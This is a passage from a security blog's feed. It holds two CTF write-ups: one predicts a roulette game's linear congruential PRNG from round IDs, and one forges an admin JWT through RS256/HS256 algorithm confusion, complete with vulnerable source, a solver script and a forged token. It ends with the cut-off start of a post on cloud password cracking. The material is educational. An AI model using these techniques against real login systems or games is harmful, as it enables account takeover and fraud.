<span class="c">// Finish the round</span>
<span class="n">finishedRound</span> <span class="o">:=</span> <span class="n">g</span><span class="o">.</span><span class="n">CurrentRound</span>
<span class="n">space</span> <span class="o">:=</span> <span class="n">g</span><span class="o">.</span><span class="n">NextSpace</span><span class="p">()</span>
<span class="n">g</span><span class="o">.</span><span class="n">CurrentRound</span> <span class="o">=</span> <span class="n">g</span><span class="o">.</span><span class="n">prng</span><span class="o">.</span><span class="n">Next</span><span class="p">()</span>
<span class="n">res</span> <span class="o">:=</span> <span class="o">&</span><span class="n">RoundResult</span><span class="p">{</span>
<span class="n">RoundID</span><span class="o">:</span> <span class="n">finishedRound</span><span class="p">,</span>
<span class="n">NextRoundID</span><span class="o">:</span> <span class="n">g</span><span class="o">.</span><span class="n">CurrentRound</span><span class="p">,</span>
<span class="n">Space</span><span class="o">:</span> <span class="n">space</span><span class="p">,</span>
<span class="p">}</span>
<span class="o">...</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>This tells us the space where the “ball” lands is computed using a NextSpace
function:</p>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre><span class="k">func</span> <span class="p">(</span><span class="n">g</span> <span class="o">*</span><span class="n">RouletteGame</span><span class="p">)</span> <span class="n">NextSpace</span><span class="p">()</span> <span class="n">SpaceID</span> <span class="p">{</span>
<span class="n">num</span> <span class="o">:=</span> <span class="n">g</span><span class="o">.</span><span class="n">prng</span><span class="o">.</span><span class="n">BoundedNext</span><span class="p">(</span><span class="m">37</span><span class="p">)</span>
<span class="k">if</span> <span class="n">num</span> <span class="o">==</span> <span class="m">37</span> <span class="p">{</span>
<span class="k">return</span> <span class="s">"00"</span> <span class="c">// Special case double 0.</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">SpaceID</span><span class="p">(</span><span class="n">fmt</span><span class="o">.</span><span class="n">Sprintf</span><span class="p">(</span><span class="s">"%d"</span><span class="p">,</span> <span class="n">num</span><span class="p">))</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>Of interest is that both the <code class="language-plaintext highlighter-rouge">CurrentRound</code> and <code class="language-plaintext highlighter-rouge">Space</code> values are derived from
the <strong>same</strong> PRNG instance. Depending on the security of the RNG, it may be
possible to predict the next space(s) based on the current state of the RNG.
The source of the PRNG is provided as well:</p>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
</pre></td><td class="rouge-code"><pre><span class="k">package</span> <span class="n">main</span>
<span class="k">import</span> <span class="p">(</span>
<span class="s">"crypto/rand"</span>
<span class="s">"encoding/binary"</span>
<span class="p">)</span>
<span class="k">const</span> <span class="p">(</span>
<span class="n">PrngModulus</span> <span class="kt">uint32</span> <span class="o">=</span> <span class="m">0x7FFFFFFF</span>
<span class="n">PrngMultiplier</span> <span class="kt">uint32</span> <span class="o">=</span> <span class="m">48271</span>
<span class="p">)</span>
<span class="k">type</span> <span class="n">PRNG</span> <span class="kt">uint32</span>
<span class="k">func</span> <span class="n">NewPRNG</span><span class="p">(</span><span class="n">seed</span> <span class="kt">uint32</span><span class="p">)</span> <span class="o">*</span><span class="n">PRNG</span> <span class="p">{</span>
<span class="k">if</span> <span class="n">seed</span> <span class="o">==</span> <span class="m">0</span> <span class="p">{</span>
<span class="k">if</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">binary</span><span class="o">.</span><span class="n">Read</span><span class="p">(</span><span class="n">rand</span><span class="o">.</span><span class="n">Reader</span><span class="p">,</span> <span class="n">binary</span><span class="o">.</span><span class="n">BigEndian</span><span class="p">,</span> <span class="o">&</span><span class="n">seed</span><span class="p">);</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
<span class="nb">panic</span><span class="p">(</span><span class="n">err</span><span class="p">)</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="n">p</span> <span class="o">:=</span> <span class="n">PRNG</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
<span class="k">return</span> <span class="o">&</span><span class="n">p</span>
<span class="p">}</span>
<span class="c">/*
Algorithm certified by Nanopolis Gaming Commission
*/</span>
<span class="k">func</span> <span class="p">(</span><span class="n">p</span> <span class="o">*</span><span class="n">PRNG</span><span class="p">)</span> <span class="n">Next</span><span class="p">()</span> <span class="kt">uint32</span> <span class="p">{</span>
<span class="n">tmp</span> <span class="o">:=</span> <span class="kt">uint64</span><span class="p">(</span><span class="o">*</span><span class="n">p</span><span class="p">)</span> <span class="o">*</span> <span class="kt">uint64</span><span class="p">(</span><span class="n">PrngMultiplier</span><span class="p">)</span>
<span class="n">tmp</span> <span class="o">%=</span> <span class="kt">uint64</span><span class="p">(</span><span class="n">PrngModulus</span><span class="p">)</span>
<span class="o">*</span><span class="n">p</span> <span class="o">=</span> <span class="n">PRNG</span><span class="p">(</span><span class="n">tmp</span><span class="p">)</span>
<span class="k">return</span> <span class="kt">uint32</span><span class="p">(</span><span class="n">tmp</span><span class="p">)</span>
<span class="p">}</span>
<span class="k">func</span> <span class="n">makeBitmask</span><span class="p">(</span><span class="n">v</span> <span class="kt">uint32</span><span class="p">)</span> <span class="kt">uint32</span> <span class="p">{</span>
<span class="n">rv</span> <span class="o">:=</span> <span class="kt">uint32</span><span class="p">(</span><span class="m">0</span><span class="p">)</span>
<span class="k">for</span> <span class="n">v</span> <span class="o">!=</span> <span class="m">0</span> <span class="p">{</span>
<span class="n">rv</span> <span class="o">=</span> <span class="n">rv</span> <span class="o"><<</span> <span class="m">1</span>
<span class="n">rv</span> <span class="o">|=</span> <span class="m">1</span>
<span class="n">v</span> <span class="o">=</span> <span class="n">v</span> <span class="o">>></span> <span class="m">1</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">rv</span>
<span class="p">}</span>
<span class="k">func</span> <span class="p">(</span><span class="n">p</span> <span class="o">*</span><span class="n">PRNG</span><span class="p">)</span> <span class="n">BoundedNext</span><span class="p">(</span><span class="n">max</span> <span class="kt">uint32</span><span class="p">)</span> <span class="kt">uint32</span> <span class="p">{</span>
<span class="n">mask</span> <span class="o">:=</span> <span class="n">makeBitmask</span><span class="p">(</span><span class="n">max</span><span class="p">)</span>
<span class="k">for</span> <span class="p">{</span>
<span class="n">tmp</span> <span class="o">:=</span> <span class="n">p</span><span class="o">.</span><span class="n">Next</span><span class="p">()</span> <span class="o">&</span> <span class="n">mask</span>
<span class="k">if</span> <span class="n">tmp</span> <span class="o"><=</span> <span class="n">max</span> <span class="p">{</span>
<span class="k">return</span> <span class="n">tmp</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">Next</code> method is responsible for advancing the PRNG. It multiplies by a
constant, then takes a modulus. Searching for the constants reveals that this
is an implementation of a well-known <a href="https://en.wikipedia.org/wiki/Linear_congruential_generator">Linear Congruential
Generator</a>. This
implementation is similar to the <code class="language-plaintext highlighter-rouge">MINSTD</code> RNG, and exposes the entire state in a
call to <code class="language-plaintext highlighter-rouge">Next</code>. Notably the <code class="language-plaintext highlighter-rouge">RoundID</code> is entirely an output of the PRNG, so
every subsequent value can be known. Consequently, we can call the PRNG with
our own inputs to find out what the next spins will be.</p>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
</pre></td><td class="rouge-code"><pre><span class="k">package</span> <span class="n">main</span>
<span class="k">import</span> <span class="p">(</span>
<span class="s">"fmt"</span>
<span class="s">"os"</span>
<span class="s">"strconv"</span>
<span class="p">)</span>
<span class="k">func</span> <span class="n">main</span><span class="p">()</span> <span class="p">{</span>
<span class="n">seed64</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">strconv</span><span class="o">.</span><span class="n">ParseInt</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">Args</span><span class="p">[</span><span class="m">1</span><span class="p">],</span> <span class="m">10</span><span class="p">,</span> <span class="m">32</span><span class="p">)</span>
<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
<span class="nb">panic</span><span class="p">(</span><span class="n">err</span><span class="p">)</span>
<span class="p">}</span>
<span class="n">round</span> <span class="o">:=</span> <span class="kt">uint32</span><span class="p">(</span><span class="n">seed64</span><span class="p">)</span>
<span class="n">p</span> <span class="o">:=</span> <span class="n">NewPRNG</span><span class="p">(</span><span class="n">round</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="o">:=</span> <span class="m">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="m">8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span> <span class="p">{</span>
<span class="n">roll</span> <span class="o">:=</span> <span class="n">p</span><span class="o">.</span><span class="n">BoundedNext</span><span class="p">(</span><span class="m">37</span><span class="p">)</span>
<span class="n">v</span> <span class="o">:=</span> <span class="n">fmt</span><span class="o">.</span><span class="n">Sprintf</span><span class="p">(</span><span class="s">"%d"</span><span class="p">,</span> <span class="n">roll</span><span class="p">)</span>
<span class="k">if</span> <span class="n">roll</span> <span class="o">==</span> <span class="m">37</span> <span class="p">{</span>
<span class="n">v</span> <span class="o">=</span> <span class="s">"00"</span>
<span class="p">}</span>
<span class="n">fmt</span><span class="o">.</span><span class="n">Printf</span><span class="p">(</span><span class="s">"%d: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">round</span><span class="p">,</span> <span class="n">v</span><span class="p">)</span>
<span class="n">round</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">Next</span><span class="p">()</span>
<span class="p">}</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>When we run it, this will print out the next 8 rolls:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
</pre></td><td class="rouge-code"><pre>% go run . 520308631
520308631: 8
439000315: 0
2059893773: 33
1060020398: 5
1254119902: 32
1689320946: 2
918638365: 28
114073520: 20
</pre></td></tr></tbody></table></code></pre></div></div>
<p>Just max bet each one and you’ll have the requisite money in no time. :)
(Feel free to automate it. I just did it manually.)</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>FLAG: 0x0G{maybe_vegas_next_year_for_real!}
</pre></td></tr></tbody></table></code></pre></div></div>
<p><img src="/img/0x0g/groulette_solved.png" alt="gRoulette Solved" /></p>
0x0G CTF: Authme (Author Writeup)2021-08-12T00:00:00-07:00https://systemoverlord.com/2021/08/12/0x0g-ctf-authme-author-writeup
<p>0x0G is Google’s annual “Hacker Summer Camp” event. <em>Normally</em> this would be in
Las Vegas during the week of DEF CON and Black Hat, but well, pandemic rules
apply. I’m one of the organizers for the CTF we run during the event, and I
thought I’d write up solutions to some of my challenges here.</p>
<p>The first such challenge is <code class="language-plaintext highlighter-rouge">authme</code>, a web/crypto challenge. The description
just wants to know if you can auth as admin and directs you to a website. On
the website, we find a link to the source code, to an RSA public key, and a
login form.</p>
<!--more-->
<p>Attempting to login, we are told to try “test/test” for demo purposes. Using
“test/test”, we are logged in, but it just says “Welcome, test” – not the
exciting output we were hoping for. Let’s examine the source:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="nn">flask</span>
<span class="kn">import</span> <span class="nn">jwt</span>
<span class="kn">import</span> <span class="nn">collections</span>
<span class="kn">import</span> <span class="nn">logging</span>
<span class="kn">import</span> <span class="nn">hashlib</span>
<span class="n">app</span> <span class="o">=</span> <span class="n">flask</span><span class="p">.</span><span class="n">Flask</span><span class="p">(</span><span class="n">__name__</span><span class="p">)</span>
<span class="n">app</span><span class="p">.</span><span class="n">logger</span><span class="p">.</span><span class="n">setLevel</span><span class="p">(</span><span class="n">logging</span><span class="p">.</span><span class="n">INFO</span><span class="p">)</span>
<span class="n">KeyType</span> <span class="o">=</span> <span class="n">collections</span><span class="p">.</span><span class="n">namedtuple</span><span class="p">(</span>
<span class="s">'KeyType'</span><span class="p">,</span>
<span class="p">(</span><span class="s">'algo'</span><span class="p">,</span> <span class="s">'pubkey'</span><span class="p">,</span> <span class="s">'key'</span><span class="p">),</span>
<span class="n">defaults</span><span class="o">=</span><span class="p">(</span><span class="bp">None</span><span class="p">,</span> <span class="bp">None</span><span class="p">))</span>
<span class="n">COOKIE_NAME</span> <span class="o">=</span> <span class="s">'authme_session'</span>
<span class="n">DEFAULT_KEY</span> <span class="o">=</span> <span class="s">'k2'</span>
<span class="n">KEYS</span> <span class="o">=</span> <span class="p">{</span>
<span class="s">'k1'</span><span class="p">:</span> <span class="n">KeyType</span><span class="p">(</span>
<span class="s">'HS256'</span><span class="p">,</span>
<span class="n">key</span><span class="o">=</span><span class="nb">open</span><span class="p">(</span><span class="s">'k1.txt'</span><span class="p">).</span><span class="n">read</span><span class="p">().</span><span class="n">strip</span><span class="p">()),</span>
<span class="s">'k2'</span><span class="p">:</span> <span class="n">KeyType</span><span class="p">(</span>
<span class="s">'RS256'</span><span class="p">,</span>
<span class="n">key</span><span class="o">=</span><span class="nb">open</span><span class="p">(</span><span class="s">'privkey.pem'</span><span class="p">).</span><span class="n">read</span><span class="p">().</span><span class="n">strip</span><span class="p">(),</span>
<span class="n">pubkey</span><span class="o">=</span><span class="nb">open</span><span class="p">(</span><span class="s">'pubkey.pem'</span><span class="p">).</span><span class="n">read</span><span class="p">().</span><span class="n">strip</span><span class="p">()),</span>
<span class="p">}</span>
<span class="n">FLAG</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'flag.txt'</span><span class="p">,</span> <span class="s">'r'</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">jwt_encode</span><span class="p">(</span><span class="n">payload</span><span class="p">,</span> <span class="n">kid</span><span class="o">=</span><span class="n">DEFAULT_KEY</span><span class="p">):</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">KEYS</span><span class="p">[</span><span class="n">kid</span><span class="p">]</span>
<span class="k">return</span> <span class="n">jwt</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span>
<span class="n">payload</span><span class="p">,</span>
<span class="n">key</span><span class="o">=</span><span class="n">key</span><span class="p">.</span><span class="n">key</span><span class="p">,</span>
<span class="n">algorithm</span><span class="o">=</span><span class="n">key</span><span class="p">.</span><span class="n">algo</span><span class="p">,</span>
<span class="n">headers</span><span class="o">=</span><span class="p">{</span><span class="s">'kid'</span><span class="p">:</span> <span class="n">kid</span><span class="p">})</span>
<span class="k">def</span> <span class="nf">jwt_decode</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
<span class="n">header</span> <span class="o">=</span> <span class="n">jwt</span><span class="p">.</span><span class="n">get_unverified_header</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="n">kid</span> <span class="o">=</span> <span class="n">header</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'kid'</span><span class="p">)</span>
<span class="k">if</span> <span class="n">kid</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">KEYS</span><span class="p">:</span>
<span class="k">raise</span> <span class="n">jwt</span><span class="p">.</span><span class="n">InvalidKeyError</span><span class="p">(</span><span class="s">"Unknown key!"</span><span class="p">)</span>
<span class="k">return</span> <span class="n">jwt</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span>
<span class="n">data</span><span class="p">,</span>
<span class="n">key</span><span class="o">=</span><span class="p">(</span><span class="n">KEYS</span><span class="p">[</span><span class="n">kid</span><span class="p">].</span><span class="n">pubkey</span> <span class="ow">or</span> <span class="n">KEYS</span><span class="p">[</span><span class="n">kid</span><span class="p">].</span><span class="n">key</span><span class="p">),</span>
<span class="n">algorithms</span><span class="o">=</span><span class="p">[</span><span class="s">'HS256'</span><span class="p">,</span> <span class="s">'RS256'</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">get_user_info</span><span class="p">():</span>
<span class="n">sess</span> <span class="o">=</span> <span class="n">flask</span><span class="p">.</span><span class="n">request</span><span class="p">.</span><span class="n">cookies</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">COOKIE_NAME</span><span class="p">)</span>
<span class="k">if</span> <span class="n">sess</span><span class="p">:</span>
<span class="k">return</span> <span class="n">jwt_decode</span><span class="p">(</span><span class="n">sess</span><span class="p">)</span>
<span class="k">return</span> <span class="bp">None</span>
<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">"/"</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">home</span><span class="p">():</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">user</span> <span class="o">=</span> <span class="n">get_user_info</span><span class="p">()</span>
<span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">ex</span><span class="p">:</span>
<span class="n">app</span><span class="p">.</span><span class="n">logger</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">'JWT error: %s'</span><span class="p">,</span> <span class="n">ex</span><span class="p">)</span>
<span class="k">return</span> <span class="n">flask</span><span class="p">.</span><span class="n">render_template</span><span class="p">(</span>
<span class="s">"index.html"</span><span class="p">,</span>
<span class="n">error</span><span class="o">=</span><span class="s">"Error loading session!"</span><span class="p">)</span>
<span class="k">return</span> <span class="n">flask</span><span class="p">.</span><span class="n">render_template</span><span class="p">(</span>
<span class="s">"index.html"</span><span class="p">,</span>
<span class="n">user</span><span class="o">=</span><span class="n">user</span><span class="p">,</span>
<span class="n">flag</span><span class="o">=</span><span class="n">FLAG</span><span class="p">,</span>
<span class="p">)</span>
<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">"/login"</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'POST'</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">login</span><span class="p">():</span>
<span class="n">u</span> <span class="o">=</span> <span class="n">flask</span><span class="p">.</span><span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'username'</span><span class="p">)</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">flask</span><span class="p">.</span><span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'password'</span><span class="p">)</span>
<span class="k">if</span> <span class="n">u</span> <span class="o">==</span> <span class="s">"test"</span> <span class="ow">and</span> <span class="n">p</span> <span class="o">==</span> <span class="s">"test"</span><span class="p">:</span>
<span class="c1"># do login
</span> <span class="n">resp</span> <span class="o">=</span> <span class="n">flask</span><span class="p">.</span><span class="n">redirect</span><span class="p">(</span><span class="s">"/"</span><span class="p">)</span>
<span class="n">resp</span><span class="p">.</span><span class="n">set_cookie</span><span class="p">(</span><span class="n">COOKIE_NAME</span><span class="p">,</span> <span class="n">jwt_encode</span><span class="p">({</span><span class="s">"username"</span><span class="p">:</span> <span class="n">u</span><span class="p">}))</span>
<span class="k">return</span> <span class="n">resp</span>
<span class="c1"># render login error page
</span> <span class="k">return</span> <span class="n">flask</span><span class="p">.</span><span class="n">render_template</span><span class="p">(</span>
<span class="s">"index.html"</span><span class="p">,</span>
<span class="n">error</span><span class="o">=</span><span class="s">"Invalid username/password. Try test/test for testing!"</span>
<span class="p">)</span>
<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">"/pubkey/<kid>"</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">get_pubkey</span><span class="p">(</span><span class="n">kid</span><span class="p">):</span>
<span class="k">if</span> <span class="n">kid</span> <span class="ow">in</span> <span class="n">KEYS</span><span class="p">:</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">KEYS</span><span class="p">[</span><span class="n">kid</span><span class="p">].</span><span class="n">pubkey</span>
<span class="k">if</span> <span class="n">key</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span><span class="p">:</span>
<span class="n">resp</span> <span class="o">=</span> <span class="n">flask</span><span class="p">.</span><span class="n">make_response</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
<span class="n">resp</span><span class="p">.</span><span class="n">headers</span><span class="p">[</span><span class="s">'Content-type'</span><span class="p">]</span> <span class="o">=</span> <span class="s">'text/plain'</span>
<span class="k">return</span> <span class="n">resp</span>
<span class="n">flask</span><span class="p">.</span><span class="n">abort</span><span class="p">(</span><span class="mi">404</span><span class="p">)</span>
<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">"/authme.py"</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">get_authme</span><span class="p">():</span>
<span class="n">contents</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">__file__</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>
<span class="n">resp</span> <span class="o">=</span> <span class="n">flask</span><span class="p">.</span><span class="n">make_response</span><span class="p">(</span><span class="n">contents</span><span class="p">)</span>
<span class="n">resp</span><span class="p">.</span><span class="n">headers</span><span class="p">[</span><span class="s">'Content-type'</span><span class="p">]</span> <span class="o">=</span> <span class="s">'text/plain'</span>
<span class="k">return</span> <span class="n">resp</span>
<span class="k">def</span> <span class="nf">prepare_key</span><span class="p">(</span><span class="n">unused_self</span><span class="p">,</span> <span class="n">k</span><span class="p">):</span>
<span class="k">if</span> <span class="n">k</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
<span class="k">raise</span> <span class="nb">ValueError</span><span class="p">(</span><span class="s">'Missing key!'</span><span class="p">)</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">k</span><span class="p">)</span> <span class="o"><</span> <span class="mi">32</span><span class="p">:</span>
<span class="k">return</span> <span class="n">jwt</span><span class="p">.</span><span class="n">utils</span><span class="p">.</span><span class="n">force_bytes</span><span class="p">(</span><span class="n">hashlib</span><span class="p">.</span><span class="n">sha256</span><span class="p">(</span><span class="n">k</span><span class="p">).</span><span class="n">hexdigest</span><span class="p">())</span>
<span class="k">return</span> <span class="n">jwt</span><span class="p">.</span><span class="n">utils</span><span class="p">.</span><span class="n">force_bytes</span><span class="p">(</span><span class="n">k</span><span class="p">)</span>
<span class="n">jwt</span><span class="p">.</span><span class="n">algorithms</span><span class="p">.</span><span class="n">HMACAlgorithm</span><span class="p">.</span><span class="n">prepare_key</span> <span class="o">=</span> <span class="n">prepare_key</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>A few things should stand out to you:</p>
<ul>
<li>The flag is passed to the template no matter what, so it’s probably some
simple template logic to determine whether or not to show the flag.</li>
<li>The only username and password accepted for login is a hard-coded value of
“test” and “test”.</li>
<li>We see that <a href="https://jwt.io/introduction">JWTs</a> are being used to manage user
sessions. These are stored in a session cookie, creatively called
<code class="language-plaintext highlighter-rouge">authme_session</code>.</li>
<li>There’s multiple keys and algorithms supported.</li>
</ul>
<p>The RSA public key is provided, but there’s no indication that it’s a weak key
in any way. (It’s not, as far as I know…) When verifying the JWT, it’s worth
noting that <em>rather than passing the algorithm for the specific key, the library
is passed both RS256 and HS256</em>. This means that both keys can be used with
both algorithms when <em>decoding</em> the session.</p>
<p>Using an HMAC-SHA-256 key as an RSA key is probably not helpful (especially if
you don’t know the HMAC key), but what about the reverse – using an RSA key as
an HMAC-SHA-256 key? Examining the code, it shows that the <strong>public</strong> key is
passed in to the verification function. Maybe we can sign a JWT using the
public RSA key, but the <code class="language-plaintext highlighter-rouge">HS256</code> algorithm in the JWT?</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="nn">jwt</span>
<span class="k">def</span> <span class="nf">prepare_key</span><span class="p">(</span><span class="n">unused_self</span><span class="p">,</span> <span class="n">k</span><span class="p">):</span>
<span class="k">if</span> <span class="n">k</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
<span class="k">raise</span> <span class="nb">ValueError</span><span class="p">(</span><span class="s">'Missing key!'</span><span class="p">)</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">k</span><span class="p">)</span> <span class="o"><</span> <span class="mi">32</span><span class="p">:</span>
<span class="k">return</span> <span class="n">jwt</span><span class="p">.</span><span class="n">utils</span><span class="p">.</span><span class="n">force_bytes</span><span class="p">(</span><span class="n">hashlib</span><span class="p">.</span><span class="n">sha256</span><span class="p">(</span><span class="n">k</span><span class="p">).</span><span class="n">hexdigest</span><span class="p">())</span>
<span class="k">return</span> <span class="n">jwt</span><span class="p">.</span><span class="n">utils</span><span class="p">.</span><span class="n">force_bytes</span><span class="p">(</span><span class="n">k</span><span class="p">)</span>
<span class="n">jwt</span><span class="p">.</span><span class="n">algorithms</span><span class="p">.</span><span class="n">HMACAlgorithm</span><span class="p">.</span><span class="n">prepare_key</span> <span class="o">=</span> <span class="n">prepare_key</span>
<span class="n">key</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'k2'</span><span class="p">,</span> <span class="s">'rb'</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="n">jwt</span><span class="p">.</span><span class="n">encode</span><span class="p">({</span><span class="s">"username"</span><span class="p">:</span> <span class="s">"admin"</span><span class="p">},</span> <span class="n">key</span><span class="o">=</span><span class="n">key</span><span class="p">,</span> <span class="n">algorithm</span><span class="o">=</span><span class="s">'HS256'</span><span class="p">,</span>
<span class="n">headers</span><span class="o">=</span><span class="p">{</span><span class="s">"kid"</span><span class="p">:</span> <span class="s">"k2"</span><span class="p">}))</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p><code class="language-plaintext highlighter-rouge">prepare_key</code> is copied directly from the <code class="language-plaintext highlighter-rouge">authme</code> source. This prints <em>a</em> JWT,
but does it work?</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6ImsyIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.4DQoSTcZtY1nSzclaEEcp03_C51yR7tneNzYWm6QDuc
</pre></td></tr></tbody></table></code></pre></div></div>
<p>If we put this into our session cookie in our browser and refresh, we’re
presented with the reward:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>0x0g{jwt_lots_of_flexibility_to_make_mistakes}
</pre></td></tr></tbody></table></code></pre></div></div>
<p>This is a vulnerability called JWT Algorithm Confusion. See
<a href="https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/">Critical vulnerabilities in JSON Web Token libraries</a>, <a href="https://www.netsparker.com/blog/web-security/json-web-token-jwt-attacks-vulnerabilities/">JSON Web Token attacks and vulnerabilities</a> for more about this.</p>
GPU Accelerated Password Cracking in the Cloud: Speed and Cost-Effectiveness2021-06-05T00:00:00-07:00https://systemoverlord.com/2021/06/05/gpu-accelerated-password-cracking-in-the-cloud
<p><em>Note: Though this testing was done on Google Cloud and I work at Google, this
work and blog post represent my personal work and do not represent the views of
my employer.</em></p>
<p>As a red teamer and security researcher, I occasionally find the need to crack
some hashed passwords. It used to be that <a href="https://www.openwall.com/john/">John the
Ripper</a> was the go-to tool for the job. With
the advent of GPGPU technologies like CUDA and OpenCL,
<a href="https://hashcat.net/hashcat/">hashcat</a> quickly eclipsed John for pure speed.
Unfortunately, <a href="https://www.bbc.com/news/technology-55755820">graphics cards are a bit hard to come by in
2021</a>. I decided to take a look
at the options for running <code class="language-plaintext highlighter-rouge">hashcat</code> on Google Cloud.</p>
<!--more-->
<p>There are several steps involved in getting <code class="language-plaintext highlighter-rouge">hashcat</code> running with CUDA, and
because I often only need to run the instance for a short period of time, I <a href="https://github.com/Matir/hacks/blob/main/cloud/thundercrack/thundercrack.py">put
together a
script</a>
to spin up <code class="language-plaintext highlighter-rouge">hashcat</code> on a Google Cloud VM. It can either run the benchmark or
spin up an instance with arbitrary flags. It starts the instance but does <em>not</em>
